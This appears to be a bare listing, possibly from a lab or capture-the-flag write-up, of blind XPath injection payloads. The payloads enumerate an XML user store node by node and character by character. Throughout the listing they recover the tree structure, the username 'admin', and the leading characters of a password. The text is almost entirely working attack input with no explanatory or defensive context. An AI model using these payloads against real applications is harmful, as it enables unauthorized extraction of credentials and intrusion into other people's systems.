1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| 'or count(/)=1 or ''=' 'or count(/*)=1 or ''=' 'or string-length(name(/*[1]))=8 or ''='
'or substring(name(/*[1]), 1, 1)='r' or ''=' 'or substring(name(/*[1]), 2, 1)='o' or ''=' 'or substring(name(/*[1]), 3, 1)='o' or ''=' 'or substring(name(/*[1]), 4, 1)='t' or ''='
'or count(/root)=1 or ''=' 'or string-length(name(/root/*[1]))=5 or ''=' 'or substring(name(/root/*[1]), 1, 1)='u' or ''=' 'or substring(name(/root/*[1]), 2, 1)='s' or ''=' 'or substring(name(/root/*[1]), 3, 1)='e' or ''=' 'or substring(name(/root/*[1]), 4, 1)='r' or ''=' 'or substring(name(/root/*[1]), 5, 1)='s' or ''='
'or count(/root/users)=1 or ''=' 'or string-length(name(/root/users/*[1]))=4 or ''=' 'or substring(name(/root/users/*[1]), 1, 1)='u' or ''=' 'or substring(name(/root/users/*[1]), 2, 1)='s' or ''=' 'or substring(name(/root/users/*[1]), 3, 1)='e' or ''=' 'or substring(name(/root/users/*[1]), 4, 1)='r' or ''='
'or count(/root/users/user)=3 or ''=' 'or string-length(name(/root/users/user/*[1]))=2 or ''=' 'or string-length(name(/root/users/user/*[2]))=8 or ''=' 'or string-length(name(/root/users/user/*[3]))=8 or ''='
'or substring(name(/root/users/user/*[1]), 1, 1)='u' or ''=' 'or substring(name(/root/users/user/*[1]), 2, 1)='d' or ''=' 'or count(/root/users/user/ud)=0 or ''='
'or string-length(name(/root/users/user/ud/text()))=0 or ''='
'or substring(name(/root/users/user/*[2]), 1, 1)='u' or ''=' 'or substring(name(/root/users/user/*[2]), 2, 1)='s' or ''=' 'or substring(name(/root/users/user/*[2]), 3, 1)='e' or ''=' 'or substring(name(/root/users/user/*[2]), 4, 1)='r' or ''=' 'or substring(name(/root/users/user/*[2]), 5, 1)='n' or ''=' 'or substring(name(/root/users/user/*[2]), 6, 1)='a' or ''=' 'or substring(name(/root/users/user/*[2]), 7, 1)='m' or ''=' 'or substring(name(/root/users/user/*[2]), 8, 1)='e' or ''='
'or count(/root/users/user/username)=3 or ''=' 'or string-length(name(/root/users/user/username/*[1]))=0 or ''='
'or substring(/root/users/user/username/text(), 1, 1)='a' or ''=' 'or substring(/root/users/user/username/text(), 2, 1)='d' or ''=' 'or substring(/root/users/user/username/text(), 3, 1)='m' or ''=' 'or substring(/root/users/user/username/text(), 4, 1)='i' or ''=' 'or substring(/root/users/user/username/text(), 5, 1)='n' or ''='
'or count(/root/users/user/password)=3 or ''='
'or substring(/root/users/user/password/text(), 1, 1)='3' or ''=' 'or substring(/root/users/user/password/text(), 2, 1)='3' or ''=' 'or substring(/root/users/user/password/text(), 3, 1)='9' or ''=' 'or substring(/root/users/user/password/text(), 4, 1)='d' or ''=' 'or substring(/root/users/user/password/text(), 5, 1)='b' or ''=' 'or substring(/root/users/user/password/text(), 6, 1)='7' or ''=' 'or substring(/root/users/user/password/text(), 7, 1)='1' or ''=' 'or substring(/root/users/user/password/text(), 8, 1)='4' or ''=' 'or substring(/root/users/user/password/text(), 9, 1)='6' or ''='
|